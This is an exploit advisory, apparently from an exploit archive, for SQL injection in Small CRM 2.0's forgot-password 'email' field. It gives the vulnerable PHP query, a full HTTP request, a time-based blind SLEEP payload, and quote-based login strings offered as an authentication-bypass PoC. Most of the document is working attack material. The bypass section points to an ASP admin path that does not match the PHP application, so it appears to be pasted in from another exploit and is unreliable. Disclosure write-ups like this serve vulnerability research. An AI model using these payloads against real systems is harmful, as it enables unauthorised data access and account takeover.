Exploit Title: Small CRM 2.0 - ‘email’ SQL Injection

Google Dork: N/A

Date: 2020-10-10

Exploit Author: Ahmet Ümit BAYRAM

Vendor Homepage: https://phpgurukul.com/

Software Link: https://phpgurukul.com/small-crm-php/

Version: V2.0

Tested on: Kali Linux

CVE : N/A

========== Vulnerable Code ==========

mysqli_query $row1 = mysqli_query($con, “select email,password from user where email=’” . $_POST[‘email’] . “’”); // dbconnection.php

========== Post Request ====================

POST /crm/forgot-password.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: localhost/crm/forgot-password.php Content-Type: application/x-www-form-urlencoded Content-Length: 20 Connection: close Cookie: __test=ec283e73906679549573af64209a5d5b; PHPSESSID=4d272f5938b3ec9c60bb45c4d7b44497 Upgrade-Insecure-Requests: 1

[email protected]&submit=

============= Vulnerable Parameter ===============

email (POST)

============= Payload =========================

’ AND (SELECT 1543 FROM (SELECT(SLEEP(5)))gSRd) AND ‘PCOX’=’PCOX

—– PoC: Authentication Bypass —–

Administration Panel: http://localhost/[PATH]/yonetim/pass.asp Username: ‘=’ ‘or’ Password: ‘=’ ‘or’